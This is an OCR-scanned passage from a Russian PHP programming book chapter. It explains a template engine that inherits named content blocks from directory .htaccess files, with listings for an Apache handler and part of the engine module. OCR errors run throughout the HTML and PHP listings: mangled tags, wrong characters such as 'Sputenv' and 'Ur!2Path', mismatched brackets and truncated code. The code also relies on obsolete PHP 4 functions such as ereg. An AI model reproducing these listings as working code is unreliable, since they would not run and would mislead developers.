мальных удобств. Это "видоизменение" я и называю шаблонизатором .

^ Примечание

Термин "шаблонизатор" произошел от слова "шаблон" и не является стандарт-
ным для технической литературы. В этой книге я применяю его на свой страх и
риск и в основном из соображений краткости: писать везде (а вам — читать)
слова "система управления шаблонами" весьма утомительно.

Сама идея шаблонизатора не является новой в Web-программировании .
Скорее даже наоборот: существуют десятки систем, построенных по опи-
санным ниже принципам . Большинство из них — коммерческие и часто
довольно сложны. В то же время многие свободно распространяемые систе-
мы (во всяком случае, те, с которыми я знаком, — например , Mason, лебе-
девский Parser и др.) отличаются одним недостатком: синтаксис их языка
излишне сложен, а потому отпугивает. Кроме того, часто для освоения этих
шаблонизаторов требуются навыки не только дизайнера или HTML-
верстальщика, но и программиста . Мы же, напомню в очередной раз, стре-
мимся к тому, чтобы распределить разработку сценария по возможно боль-
шему числу независимых людей , многие из которых не знакомы с програм-
мированием.

Примечание

Высказанные только что суждения являются моей личной позицией в вопросе
шаблонизаторов, а потому, как и все субъективное, они вполне могут несколько
отличаться от действительности. Читателю предлагается самому их проверить
после того, как он ознакомится с моделью шаблонизатора, предлагаемого в
этой главе. Нужно заметить, что, конечно, каждая Web-студия считает свою
собственную версию шаблонизатора самой лучшей в мире.

----------------------- Page 446-----------------------
Глава 30. Код и шаблон страницы 431

Традиционное построение страниц

Итак, сосредоточим все свое внимание на том, как желательно строить сце-
нарии, чтобы максимально упростить проблему редизайна, а вместе с ней -
добавление новых страниц в карту сервера. Многие программисты ограни-
чиваются тем, что разбивают свои страницы на 3 логических блока: верх-
нюю часть (header), центральную часть (text) и нижний участок страницы
(footer). Каждая из этих составляющих хранится в отдельном файле. Цен-
тральный блок (text) является главным: до начала работы он загружает из
файла общую для всех страниц верхнюю часть, а в конце выводит нижнюю.
Вот как примерно выглядит шаблон страницы при такой структуре сценария
(листинг 30.7):

; Листинг 30.7. Традиционное построение шаблона

<?include "Interface.php"? >

<?include "$DOCUMENT_ROOT/templ/header.htm"?>

Здесь идет главный текст страницы,

возможно, включающий данные,

сгенерированные интерфейсом Interface.php

<?include "$DOCUMENT_ROOT/templ/footer.htm"?>

Предполагается, что файлы header.htm и footer.ht m хранятся в подкаталоге
/tempi корневого каталога сервера и содержат участки страниц, которые
должны быть выведены до и после основного текста страницы. Если сайт
небольшой и в нем используется не так уж много различных шаблонов
страниц, данное решение является самым простым. В таких ситуациях его
применение оправдано. Но нас интересует оформление больших и сложных
сайтов. Предположим, наш ресурс содержит сотни страниц, построенных по
описанной схеме. Давайте взглянем на проблему с этой позиции.

Сложность перестановки блоков

Первый недостаток увидеть легко: мы не можем ни добавить новый блок в
страницу, ни изменить положения уже имеющихся. Если мы попытаемся
это сделать, потребуется менять код сотен страниц сайта.

^ Примечание

Необходимо заметить, что в нашем примере вряд, ли придется когда-нибудь
изменять порядок следования блоков, раз мы договорились рассматривать
проблему с общих позиций, а не с частных.

----------------------- Page 447-----------------------
432 Часть V. Приемы программирования на РНР

"Расщепление" шаблона

Второй недостаток более очевиден для дизайнера: файлы header.htm и
footer.htm , хотя и представляют собой логически один шаблон, все же раз-
делены. Все мы привыкли к тому, что многие тэги HTML (такие как
<body>, <tabie> и т. д.) имеют парные закрывающие, причем расположен-
ные в том же самом файле. Но в ситуации с разделением шаблона на footer
и header мы, наоборот, должны хранить большинство открывающих тэгов в
одном файле, а закрывающие — в другом. В листинге 30.8 приведен пример
верхней части шаблона страницы.

I Листинг 30.8. Файл header.htm

<html>

<body bgcolor=white>

<Ь1>Добрый день.</hl>

<tablextr>

<td width=20%>KapTa раздела : . . .</td>

<td>

Видите, файл оборвался на открывающем тэге. Теперь взглянем на лис-
тинг 30.9:

I Листинг 30.9. Файл footer.htm

</td>

</trx/table>

</body>

</html>

Он состоит исключительно из одних закрывающих тэгов. Потенциально,
добавив в header.htm новый открывающий тэг, мы можем забыть закрыть
его в footer.htm . Кроме того, такая конструкция несколько противоречит
логике: две похожих по смыслу части шаблона содержатся в разных файлах.
Мы уже обсуждали это выше и пришли к выводу, что данное построение
оказывается довольно неудобным.

Сложность смены шаблона у части страниц

Еще один недостаток описанной схемы следует из предыдущего. Каждая
страница должна "знать", где расположены файлы header.htm и footer.htm .
Пусть у нас на сайте есть каталог, в котором "лежат" сотни файлов. Во вре-
мя разработки оказалось, что шаблон для всех файлов в этом каталоге дол-

----------------------- Page 448-----------------------
Глава 30. Код и шаблон страницы 433

жен отличаться от шаблона всех остальных страниц (которых также немало).
Значит, требуется создать еще одну пару header- и footer-файлов, назвав их,
например, headeri.htm и footeri.htm . Это в общем-то не представляет
особой проблемы , сложность в другом : придется заменять ссылки во всех
файлах каталога. Можно, конечно , сделать это посредством глобальных по-
иска и замены при помощи какого-нибудь текстового редактора (например,
HomeSite фирмы Allaire) , но, согласитесь, это решение выглядит как явно
"лобовое". Кроме того, если мы имеем доступ к сайту только с использова-
нием FTP, нам придется "скачивать" все страницы, редактировать их, а за-
тем опять копировать на сервер. Естественно, для крупных информацион-
ных сайтов такие "накладные расходы" просто неприемлемы .

Возможно единственное решение этой проблемы -- заставить страницы
"наследовать" ссылку на шаблон каталога (или его родительского каталога),
в котором они находятся . Таким образом, поправив эту ссылку в информа -
ции о каталоге, мы автоматически изменим шаблон и у всех страниц в нем.

( Замечание ~^)

Для сравнительно небольших систем все же существует путь, обходящий, хоть
и не очень удачно, рассматриваемую проблему. А именно, можно для каждого
раздела сайта использовать отдельную пару header- и footer-файлов. В дейст-
вительности же эти файлы будут представлять собой лишь символические
ссылки на "настоящие" шаблоны. Правда, эта схема работает лишь в системах
Unix. Кроме того, она нисколько не упрощает ситуацию, когда разработчики
решили перенести часть страниц из одного раздела в другой (сменив при этом
их шаблоны).

Что такое шаблонизатор?

Итак, мы вновь столкнулись с множеством трудноразрешимых накладок
(возможно, выглядящих для многих с первого взгляда как надуманные).
Когда же они закончатся, спросите вы? Отвечаю: прямо сейчас.

Давайте взглянем "в корень" описанных выше сложностей. Почему они во-
обще возникают в этой задаче? Нетрудно догадаться: опять же из-за излиш-
них зависимостей данных. Помните, эти зависимости привели нас в свое
время к необходимости перехода от двухуровневой схемы построения сце-
нариев к трехуровневой? Теперь они подводят нас к идее шаблонизатора.

Вспомним, что мы сделали тогда, чтобы убрать зависимости. Мы поменяли
местами "поставщика" и "исполнителя". Идея выполнить обратную переста-
новку кажется абсурдной, т. к. мы опять придем к тому, с чего начали. Ко-
нечно, мы не будем так делать. Зададимся отвлеченным вопросом: что пред-
принимает общество, когда перед ним возникает чересчур большое
количество нерешенных и необъяснимых задач? Оно придумывает себе бо-
гов. В программировании — то же самое. Раз мы не можем больше сослать-

----------------------- Page 449-----------------------
434 Часть V. Приемы программирования на РНР

ся ни на генератор данных, ни на шаблон, значит, настало время реализо-
вать нечто третье, "бога", управляющего всей системой в совокупности и
распределяющего обязанности. Вы, наверное, догадались, что я снова имею
в виду шаблонизатор.
Итак, шаблонизатор — это программный код, держащий "под контролем"
все файлы на нашем сайте. Ни одно обращение к странице, ни один запуск
сценария не может пройти без его непосредственного участия . В то же вре-
мя шаблонизатор "маскирует" себя, создавая у пользователя впечатление,
будто бы его и нет. Этим он похож на генератор данных в трехуровневой
модели построения сценариев.

Замечание

Теперь вы почувствовали, почему я применил здесь аналогию с богом? Ведь бог
как раз удовлетворяет тем описаниям, которые даны в предыдущем абзаце!

Впрочем, идеология "вездесущего" кода не является для нас новой : нечто
похожее мы уже рассматривали в главе 29, правда, с целью гарантирован-
ного подключения библиотекаря ко всем сценариям сайта. В рамках реали-
зуемой "религии" мы применим точно такой же подход, только вместо биб-
лиотекаря будет подключаться и запускаться шаблонизатор.

Описание шаблонизатора

Сформулируем, что должен уметь делать наш будущий шаблонизатор. Ко-
нечно, все, что мы реализуем, будет лишь самым основным, что мы хотели
бы получить от этой системы . В то же время в описанную концепцию чрез-
вычайно легко добавлять новые возможности (так уж она разрабатывалась).
Для этого практически не придется переписывать имеющийся код, останет-
ся лишь вставить то, что нам нужно.

Вставка страниц в единый шаблон

Раньше главный текстовый блок страницы (text) запрашивал подключения к
себе двух частей шаблона — footer и header. Но, раз мы в очередной раз по-
меняли местами "поставщика" данных и "исполнителя", посмотрим , нельзя
ли пойти дальше. Давайте поиграем в такую словесную игру : "обработаем"
первое предложение этого абзаца, переставив в нем понятия , соответствую-
щие "исполнителю" и "поставщику". Получим буквально: шаблон запраши-
вает подключение к себе главного текстового блока страницы. Эврика , это и
есть главная задача шаблонизатора!

Не хотите ли взглянуть с этой новой позиции на шаблон страницы? Тогда
изучите листинг 30.10.

----------------------- Page 450-----------------------
Глава 30. Код и шаблон страницы 435

! Листинг 30.10. Свежий взгляд на шаблон страницы: /tempi/main, tmpl

<?Block("Output"?>
<htmlxhead><title><?=Blk("Title")?><title></head>
<body bgcolor=white >
<Ы>Добрый день.</Ь1 >
<table><tr>
<td width=20%Жарта раздела : . . .</td>
<td width=80%x?=Blk("Text" ) ?></td>
</trX/table>
</body></html>

^ Примечание

He обращайте пока внимания на команду <?Block("Output"?> . Ее смысл по-
ясняется немного ниже.

Мы видим, что ненужное и опасное "расщепление" шаблона на два файла
ушло в прошлое, а мы опять вернулись к простой модели. Будем хранить
ЭТОТ шаблон В файле /tempi/main , tmpl .

Но позвольте, откуда же возьмется блок с именем Text , который выводится
в середине этого шаблона? Вот задачу по его получению и возьмет на себя
шаблонизатор. Предположим, пользователь обратился по адресу
/news/weekly/today.html . Шаблонизатор, как я уже упоминал , "перехватит"
это обращение и "возьмет" текстовый блок из файла today.html , располо-
женного в каталоге /news/weekly . Затем он передаст управление шаблону,
который вставит этот текст в нужное место страницы и отправит последнюю
браузеру.

Множественность блоков
Шаблонизатор, который вставляет все содержимое запрошенного файла в
фиксированный шаблон, совершенно бесполезен в реальной практике. Это
означает, что мы должны "научить" его:
П определять имя шаблона индивидуально для каждой страницы;
П позволять хранить в документе несколько блоков информации, а не
только главный текст файла.
Последняя задача более важна, так что начнем с нее. Мы привыкли к тому,
что любая страница сценария выполняется последовательно и представляет
собой единый HTML-документ. Теперь нам придется отказаться от этого
стереотипа (в общем-то, ведущего в тупик). Итак, любая страница сайта -
это всего лишь набор блоков, которые будут вставлены в шаблон.

15 Зак. 699

----------------------- Page 451-----------------------
436 Часть V. Приемы программирования на РНР

Блок — участок текста, имеющий имя (не обязательно уникальное), посредст-
вом которого можно ссылаться на этот текст. Мы уже видели, как это проис-
ходит в простейшем случае (см. листинг 30.10). Функция шаблонизатора
B l k ( ) возвращает текст (или содержимое, или тело) блока, имя которого ука-
занно в ее параметрах. Содержимое блока может быть задано многократно,
при этом последующее определение "затирает" текст предыдущего. Чуть ниже
мы увидим, насколько данное качество оказывается полезным на практике.

Как же определять новые блоки в файле страницы? Для этого существует
конструкция <?в!осМ"имя") ?>. Пример ее использования приведен в лис-
тинге 30.11.

I Листинг 30.11. Файл данных страницы: /phil/index.html

<?Block("Title","[]Философия")?>
<?Block("Text")?>
Конфликт индуцирует смысл жизни . Объект деятельности , пренебрегая
деталями , методологически рефлектирует себя через постсовременный
класс эквивалентности , открывая новые горизонты . Закон внешнего мира
может быть получен из опыта .

<?Block("Cite")?>
Философия, конечно, порождена временем. Информация, как следует из
вышесказанного, непредвзято подчеркивает принцип восприятия, отрицая
очевидное.

Из листинга 30.11 следует, что мы можем задавать содержимое блока двумя
разными способами. Самый простой — указать текст непосредственно вто-
рым параметром функции Block о , как это сделано для блока Title . Второй
способ незаменим для блоков, тела которых состоят из большого количества
строк. А именно, мы можем опустить второй параметр функции Block о , в
этом случае весь текст, который расположен до начала следующего блока
либо до конца файла, будет восприниматься как тело. Я буду называть такие
блоки многострочными. Особенностью многострочных блоков в том шабло-
низаторе, который мы с вами сейчас напишем, является то, что из их со-
держимого удаляются начальные и концевые пробельные символы, в том
числе символы перевода строки. В результате та пустая строка, которая при-
сутствует в листинге, не попадет в шаблон — она будет удалена.

( Замечание )

Текст, не принадлежащий ни одному из блоков, игнорируется. Например, мы
могли бы написать какие-нибудь комментарии сразу после первой строки лис-
тинга 30.11, и они были бы пропущены.

----------------------- Page 452-----------------------
Глава 30. Код и шаблон страницы _ 437

Наверное, вы уже догадались, как мы будем задавать имя шаблона для той
или иной страницы. Название шаблона — не что иное, как содержимое
блока Template , который воспринимается шаблонизатором как специаль-
ный. Но, конечно, мы не собираемся определять этот блок в каждой стра-
нице — иначе чем этот способ лучше использования участков header и
footer? Посмотрим, что предлагает нам шаблонизатор.

Наследование блоков

Наверное, вы думаете, что страница / p h i i / index . html , которая генерирует-
ся листингом 30.11, состоит только из трех блоков— Title , Text и cite .
Это не так. Страница, без сомнения , включает перечисленные блоки, но она
также состоит и из всех блоков, которые заданы для каталогов /phii и /.
Каталоги ведь ничем не хуже файлов. Соответственно, каждый каталог так-
же может иметь собственный набор блоков, которые будут унаследованы
всеми файлами в нем, а также файлами его подкаталогов.

Предположим, что для каталога /phii определяется блок Title , содержащий,
скажем, строку weekly . В то же время файл index.html также определяет блок
Title. Что произойдет в этом случае? А произойдет следующее: в шаблоне
будет доступно только тело последнего блока. Иными словами, тот блок, кото-
рый определяется в файле, заменит собой свое старое значение из каталога.

Нетрудно теперь догадаться, как происходит процесс сбора блоков для кон-
кретной запрошенной страницы. Вначале шаблонизатор получает все блоки
корневого каталога, затем обрабатывает блоки подкаталога, причем уже
имеющиеся одноименные блоки перезаписываются. Описанный процесс
продолжается до тех пор, пока не будет достигнут файл, который запрошен
пользователем. Такая организация шаблонизатора позволяет нам задавать
для всех блоков значения по умолчанию. Эти значения будут использованы
шаблоном в случае, если те или иные блоки не "переопределяются" в файле
страницы. Чтобы задать тело по умолчанию для блока, достаточно добавить
его к блокам корневого каталога сайта.

Мы знаем , что блоки файла хранятся в самом этом файле. Где же находятся
блоки каталога? Конечно, в специальном файле, расположенном в этом ка-
талоге.

Замечание

Хранить блоки каталогов в отдельном централизованном хранилище
(наподобие Реестра Windows) было бы большим просчетом. Этим мы пере-
черкнули бы принцип минимизации зависимостей данных, о котором так много
сказано в этой главе.

Я предлагаю использовать в качестве такого файла .htaccess . Чтобы Apache
не "ругался" на не непонятные ему директивы <?Biock ( . . . ) ? > , мы снабдим

----------------------- Page 453-----------------------
438 Часть V. Приемы программирования на РНР

их символами комментария t в начале строки . Конечно , таким способом
мы не сможем задавать многострочные блоки для каталогов, но, как пока-
зывает практика, в большинстве случаев это и не нужно. В листинге 30.12
показан пример файла .htaccess , расположенного в корневом каталоге сер-
вера и задающего значения блоков по умолчанию .

! Листинг 30.12. Блоки для корневого каталога: / .htaccess

tt<?Inc("templ")?>
#<?Block("DefaultGlue", " | " ) ? >
#<?Block("Template","default. tmpl") ?>

#<?Block("Title","Тестовый сервер")? >

# Связываем имя обработчика с конкретным файлом.

Action templhandler "/php/TemplateHandler.php?"
# Документы этого типа мы желаем "пропускать" через наш обработчик.

AddHandler templhandler .html .htm

Обратите внимание на то, что в приведенном файле конфигурации задаются
также и некоторые директивы Apache , которые заставляют сервер запускать
программу шаблонизатора каждый раз, когда пользователь обращается к
HTML-документу. Мы уже знакомы с этими директивами: в главе 29 они
использовались для того, чтобы обеспечить подключение библиотекаря к
каждому сценарию сервера.

^ Примечание

Наверное, вы уже заметили, что блочный файл, который обрабатывается шаб-
лонизатором, представляет собой ни что иное, как код на РНР с вызовами
управляющих функций типа Block ( ) . Этим мы достигаем множества преиму-
ществ, самое главное из которых — значительное ускорение работы шаблони-
затора по сравнению со способом "ручного" разбора файлов. Кроме того, отла-
дочные качества сценария при таком подходе ничего не теряют: файлы блоков
загружаются с помощью include, а значит, случись там ошибка, РНР исправно
покажет имя файла и номер строки, где это произошло. Правда, остается един-
ственный недостаток: несколько некрасивый синтаксис определения блоков,
естественный лишь для программиста, но не для дизайнера. Что же, всегда
приходится идти на какие-то жертвы.. .

Внимательно взгляните на определение блока Template. . Как уже упомина-
лось, этот блок содержит имя шаблона, который будет задействоваться при
отображении страницы . То, что блоки из родительских каталогов наследу-
ются файлами, позволяет нам задать Template в одном-единственном месте,
автоматически распространив его действие на все файлы в каталоге. Не
правда ли , это как раз то, чего мы так долго добивались?

----------------------- Page 454-----------------------
Глава 30. Код и шаблон страницы 439

Шаблонизатор также обрабатывает специальным образом еще один блок. Его
название — output . Тело именно этого блока выводится в браузер пользовате-
ля, когда вся страница уже обработана. Обычно блок output вставляют только
в шаблон страницы, потому что использование его в любом другом месте ока-
зывается бессмысленным (все равно он переопределится в шаблоне).

Автоматическая генерация названий

Если пользователь находится на сайте "Книжный магазин" в разделе
"Философия" на заинтересовавшей его странице "Современность", то, ко-
нечно, в заголовке окна браузера ему бы хотелось видеть что-то вроде
"Книжный магазин Философия Современность", а не просто
"Современность". Мы уже договорились хранить название страницы в блоке
Title . Но, конечно, мы бы не хотели записывать в каждой странице назва-
ние полностью, потому что:

П в будущем мы можем перенести страницу в другой раздел;

Я мы , возможно, захотим сменить разделитель | на / ;

П это нарушает концепцию минимальной избыточности данных , что, как
мы уже неоднократно убеждались, не приводит ни к чему хорошему.

Специально для решения такого рода задач в нашем шаблонизаторе преду-
смотрим механизм, который я далее буду называть автоматической склейкой
тел блоков. Вот как он работает. Если при обработке очередного блока шаб-
лонизатор видит, что его тело начинается с подстроки [Клей] , он определя-
ет, что текст должен быть "пристыкован" к предыдущему телу одноименного
блока, но не должен заменить его. В качестве "строки-клея" выступает зна-
чение блока с именем клей . Это позволяет нам в будущем изменить символ
"склейки" лиш ь в одном месте, чтобы это затронуло весь сайт. В случае, ес-
ли указана пустая пара квадратных скобок [ ] (то есть имя блока было опу-
щено), используется тело блока с именем DefauitGlue (см. листинг 30.12), а
если и он отсутствует — то |.

Теперь при загрузке страницы /phil/index.html из листинга 30.11, пользо-
ватель увидит ее полное название, составленное из блоков Titl e всех
"подкаталогов" и самого файла страницы. Мы добиваемся этого, определив
блок Title следующим образом:

<?Block("Title","[]Философия")?>

Поддержка механизма поиска
включаемых файлов
В шаблонизаторе есть одна полезная функция. Называется она Load о и за-
нимается тем, что загружает указанный в параметрах файл, который как
предполагается, также имеет блочную структуру. Имя этого файла можно
задавать относительно текущего каталога (в котором расположен код, вы-

----------------------- Page 455-----------------------
440 Часть V. Приемы программирования на РНР

звавший Load ( ) ) , либо же в абсолютном формате (относительно корневого
каталога сервера).
С помощью данной функции мы можем разбивать сложные шаблоны на
части. Например, так можно было бы поступить с блоком, занимающимся
формированием карты текущего раздела, особенно если существует не-
сколько шаблонов, отображающих эту карту. Функцию Load ( ) можно вызы-
вать в любом месте страницы или даже из файла .htaccess . Блоки, генери-
руемые ей, будут вставлены непосредственно перед тем блоком, в котором
она была вызвана.
На примере использования библиотекаря мы уже убедились, насколько уто-
мительным может быть указание абсолютных путей к файлам. Поэтому
функция Load { ) умеет сама искать включаемые файлы по серверу. Она де-
лает это всякий раз, когда ей задан относительный путь к файлу . Поиск ве-
дется на основе списка так называемых каталогов для поиска шаблонизато-
ра. Этот список можно пополнять с помощью вызова in с ( ) , как это
сделано, например, в листинге 30.12. Функция шсо довольно интеллекту-
альна: даже если ей передан относительный путь к каталогу, она переводит
его в абсолютный. Так что при использовании Load о из файла, располо-
женного в другом каталоге, не происходит никаких недоразумений.

Фильтры блоков

После того, как тело блока вычислено, шаблонизатор производит его до-
полнительную обработку. Делается это с помощью специальных функций-
филътров. Например, "склеивание" названий осуществляется именно таким
фильтром. Система устроена таким образом, что позволяет добавлять и уда-
лять фильтры прямо в процессе работы. Для этого программисту достаточно
лишь написать код функции-фильтра, а затем добавить имя этой функции в
специальную таблицу фильтров (см. исходный код шаблонизатора).

В той версии шаблонизатора, которую мы сейчас рассматриваем, имеется и
еше один "стандартный" фильтр. Его задача — удалить из тел блоков все на-
чальные символы табуляции, сколько бы их ни было. Это позволяет про-
граммистам и дизайнерам свободно делать отступы в HTML-коде докумен-
тов, не думая о том, что символы табуляции будут увидены пользователем
при просмотре кода страницы. Впрочем , возможно, это и излишество (в
конце концов, кому какое дело, как выглядит исходный код страницы) .

Примечание

Ради интереса вы можете написать фильтр, который превращает все символы
перевода строки в пробелы. Таким образом, исходный код страницы, которую
получит пользователь, будет представлять собой одну длинную строку. Код
этого фильтра занимает буквально одну строку на РНР!

----------------------- Page 456-----------------------
Глава 30. Код и шаблон страницы 44?

Поддержка трехуровневой схемы
разработки сценариев

Несомненно, наш шаблонизатор будет поддерживать трехуровневую схему
разработки сценариев. Иначе и быть не могло: мы не должны удалять из
системы то, что прекрасно работает. Наверное, вы уже заметили, что в телах
блоков мы можем свободно применять операторы РНР, а это требование
является главным для любой схемы.

Чтобы не "засорять" каталоги сайта сценариями — интерфейсами и генера-
торами данных — предлагается разместить все, что не относится к HTML-
файлам и блокам, в отдельном (недоступном извне) каталоге. Им может
быть, например, тот самый каталог, где располагаются различные модули.
Ведь что такое ядро сценария, как не обычная библиотека, предоставляю-
щая функции для всеобщего использования?! Взятие на вооружение такой
техники также снимает с нас заботу об указании полного пути к файлам яд-
ра, поскольку они находятся в общедоступном каталоге модулей, а значит,
могут быть включены при помощи uses ( ) .

Замечание

С загрузкой интерфейсов посредством Uses ( ) все обстоит несколько сложнее.
Вполне может возникнуть ситуация, когда один и тот же интерфейс требуется в
разных местах шаблона страницы для выполнения различных действий. Функ-
ция же Uses () всегда загружает файл лишь однажды, следя за тем, чтобы в
следующий раз ее вызов был просто проигнорирован. Так что она нам не со-
всем подходит. В качестве альтернативы предлагается добавить в код библио-
текаря еще одну функцию (назвав ее, например, usesMulti ()) , которая могла
бы загружать указанный файл несколько раз. Единственное отличие ее кода от
кода Uses () состоит в том, что она использует инструкцию include, а не
include_once. Написание этой функции предоставляю читателю.

Вот и подошло к концу описание нашего шаблонизатора. Надеюсь, я ничего
не упустил. Впрочем, если вдруг в приведенном ниже коде вы обнаружите
еще какую-нибудь возможность, которую я здесь забыл описать, ничего
страшного, наверное, не случится .

Обработчик Apache для шаблонизатора

Так как шаблонизатор должен запускаться при обращении к любой страни-
це на сервере, для него придется написать обработчик. Я привожу здесь его
код без дополнительных пояснений , поскольку он практически полностью
аналогичен тому коду, который мы рассматривали в главе 29.

Листинг 30.13. Обработчик шаблонизатора: TemplateHandler. php

// Проверяем, не пытается ли пользователь запустить обработчик

----------------------- Page 457-----------------------
442 Часть V. Приемы программирования на РНР

/I напрямую , минуя Apache .

$FileName=strtr( FILE ,"\\","/") ;

$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUEST_URI"),"\\","/"));

if(eregi(quotemeta($ReqName),$FileName)) {

// Выводим сообщение об ошибке .

include "TemplateHandler.err" ;

// Записываем в журнал данные о пользователе .

$f=fopen("TemplateHandler.log","a+"};

fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn") ;

fclose($f);

// Завершаем работу .

exit;

// Все в порядке — корректируем переменные окружения в соответствии

// с запрошенным пользователем адресом .

Sputenv("REQUEST_URI=".

$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=

$GLOBALS["REQUESTJJRI"]=

getenv("QUERY_STRING")

);

@putenv("QUERY_STRING=".

$GLOBALS["HTTP_ENV_VARS"]["QUERY_STRING"]=

$GLOBALS["QUERYJ3TRING"]=

Л Л
ereg Replace (" [ ?] *\\?", "",-getenv ("QUERY STRING") }

parse_str($QUERY_STRING) ;

// Подключаем библиотекаря .

$INC[l=getcwd();

include "Librarian.phi"; '

// Переходим в каталог со страницей .

chdir(dirname($SCRIPT_FILENAME));

// Загружаем шаблонизатор .

Uses("Template");

// Выводим содержимое главного блока страницы .

echo RunUrl($SCRIPT NAME) ;

----------------------- Page 458-----------------------
Глава 30. Код и шаблон страницы 443

Главный модуль шаблонизатора

Основной код шаблонизатора, который и выполняет всю работу, помещен в
библиотеку Template . phi . Она содержит все функции , которые могут по-
требоваться в шаблонах и блочных страницах. Главная функция модуля -
Runuri о - "запускает" страницу, путь к которой (относительно корневого
каталога сервера) передается в параметрах. Результат работы этой функ-
ции — содержимое блока output , порожденного страницей.

В листинге 30.14 приводится полный код шаблонизатора с комментариями.

| Листинг 30.14. Модуль шаблонизатора: Template .phi

// Константы , задающие некоторые значения по умолчанию
define ("DefGlue", " I "); // символ склейки по умолчанию
def ine ("Htaccess_Name" , " .htaccess") ; // имя .htaccess-файла

// Имена "стандартных " блоков
def ine ("BlkTemplate" , "template") ; // шаблон страницы
def ine ("BlkOutput" , "output") ; // этот блок выводится в браузер
def ine ("BlkDefGlue" , "defaultglue") ; // символ для "склейки" по умолчанию

// Рабочие переменные

$GLOBALS [ "BLOCK" ]=array ( } ; // массив тел всех блоков

$GLOBALS["BLOCK_INC"]=array() ; // аналог $INC библиотекаря

$GLOBALS ["CURBLOCK_URL"]=false; // URL текущего обрабатываемого файла

$GLOBALS ["bSingleLine"]=0; // признак : обрабатываемый файл -
.htaccess

// В следующем массиве перечисленны имена функций-фильтров ,

// которые будут вызваны для каждого блока , когда получено его

// содержимое . Вы , возможно , захотите добавить сюда и другие

// фильтры (например , исполняющие роль простейшего макропроцессора ,

// заменяющего одни тэги на другие ) . Формат функций :

// void FilterFunc ( string $BlkName , string &$Value , string $BlkUrl )

$GLOBALS ["BLOCKFILTERS"]=array (

"_FBlkTabs",

"_FBlkGlue"

//*** Здесь могут располагаться имена ваших функций-фильтровю

----------------------- Page 459-----------------------
444 _ Часть V. Приемы программирования на РНР

// Возвращает тело блока по его имени . Регистр символов не учитывается .
function Blk($name )

{ return @$GLOBALS [ "BLOCK"] [strtolower ($name) ] ;

// Добавляет указанный URL в список путей поиска . При этом путь

// автоматически преобразуется в абсолютный URL (за текущий каталог

// принимается каталог текущего обрабатываемого файла ) .

function Inc($url )

{ global $CURBLOCK_ORL,$SCRIPT_NAME ;

$CurUrl=$CURBLOCK_URL; if(!$CurUrl ) $CurUrl=$SCRIPT_NAME ;

if ($url[0] !="/") $url=abs_path($url,dirname($CurUrl) ) ;

$GLOBALS [ "BLOCK_INC" ] [ ] =$url ;

// Устанавливает имя текущего блока и , возможно , его значение .

// Все данные , выведенные после вызова этой функции , будет принадлежать

// телу блока $name . Если задан параметр $value , тело сразу

// устанавливается равным $value , а весь вывод просто проигноруется .

// Это удобно для коротких однострочных блоков , особенно расположенных

// в файлах .htaccess . Из того , что было выведено программой в

// стандартный поток , будут удалены начальные и концевые пробелы ,

//а также вызовутся все функции-фильтры . Окончанием вывода ,

// принадлежащего указанному блоку , считается конец файла либо

// начало другого блока (то есть , еще один вызов Block () .

function Block (Sname=false , $value=false )

{ global $BLOCK , SbSingleLine , $CURBLOCK_URL ;

// Объявляем некоторые флаги состояния

static $Handled=false ; // в прошлый раз вывод был перехвачен

static $CurBlock=false ; // имя текущего обрабатываемого блока

// Если имя блока задано , перевести его в нижний регистр

if ($name!==false) $name=strtolower (trim($name) ) ;

// Вывод был перехвачен . Значит , что до этого вызова уже

// была запущена функция Block (). Теперь блок , который

// она обрабатывала , закончился , и его надо добавить в массив

// блоков (или же проигнорировать этот вывод) .

if($Handled) {

// Имя предыдущего блока было задано?

if ($CurBlock!==false) {

----------------------- Page 460-----------------------
Глава 30. Код и шаблон страницы __ _ 445

// Добавляем в массив блоков .

$BLOCK[$CurBlock]=trim(ob_get_contents () ) ;

// Если блок однострочный (из файла .htaccess) , то

// удаляем все строки , кроме первой .

if (@$bSingleLine) $BLOCK[$CurBlock]=

ereg_Replace(" [\r\n ] .*","" , $BLOCK[$CurBlock] ) ;

// Запускаем фильтры

_ProcessContent ($CurBlock , $BLOCK [$CurBlock] , $CURBLOCK__URL ) ;

}

// Завершаем перехват потока вывода

ob_end__clean ( ) ; $Handled=0 ;

}

// Если имя блока задано (а это происходит практически всегда ) ,

// значит , функция была вызвана нормальным образом , а не только для

// того , чтобы завершить вывод последнего блока (см. функцию LoadO) .

if ($name!==false) {

// Перехватываем поток вывода

ob_start ( ) ; $Handled=l ;

// Тело явно не задано , значит , нужно его получить путем

// перехвата выходного потока . Фактически , сейчас мы просто

// говорим системе , что текущий блок - $name , и что , как только

// она встретит другой блок или коней файла , следует получить

// выведенные данные и записать их в массив .

if ($value===false) {

$CurBlock=$name ;

} else {

// Тело задано явно . Записать блок в массив , но все равно

// перехватить выходной поток (чтобы потом его

// проигнорировать) .

_ProcessContent ($name, $value , $CURBLOCK_URL ) ;

$BLOCK [ $name ] =$value ;

$CurBlock=false;

// Загружает файл с URL $name и добавляет блоки , которые в нем

// находились , к списку существующих блоков . Параметр $name может

// задавать относительный URL , в этом случае производится его

----------------------- Page 461-----------------------
446 Часть V. Приемы программирования на РНР

// поиск в глобальном массиве SINC (том же самом , который использует

// библиотекарь) . Если в качестве $name задано не имя файла , а имя

// каталога , то анализируется файл .htaccess , расположенный

//в этом каталоге . На момент загрузки файла текущая директория

// изменяется на ту , в которой расположен файл ,

function Load($name )

{ global $BLOCK,$bSingleLine,$CURBLOCK_URL,$BLOCK_INC ;

// Перевести все пути в $INC в абсолютные

AbsolutizelNCO ;

// Если путь относительный , ищем по $BLOCK_INC

$fname=false;

if($name[0]!='/') {

// Перебираем все каталоги включения

foreach($BLOCK_INC as $v) {

$fname=Ur!2Path("$v/$name"); // Определяем имя файла

if(file_exists($fname)) { $name="$v/$name"; break ; }

}

// Если не нашли , $fname остается ===false

} else {

// Абсолютный URL - перевести его в имя файла

$fname=Url2Path($name);

}

// Обрабатываем файл , имя которого вычислено по URL .

// Сначала проверяем существует ли такой файл ,

if($fname===false || !file_exists($fname) }

die("Couldn't open \"$name\"!");

// Это директория - значит , используем .htaccess

$Single=false;

if(@is_dir($fname)} {

$name=glue_path($name,Htaccess^Name);

$fname=glue_path($fname,Htaccess_Name);

$Single=l;

}

// Если файла до сих пор не существует (это может случиться , когда

// мы указали сипользовать .htaccess , а его в директории нет) ,

// мирно выходим . Ничего страшного , если в директории нет .htaccess-a .

if(!file_exists($fname)) return ;

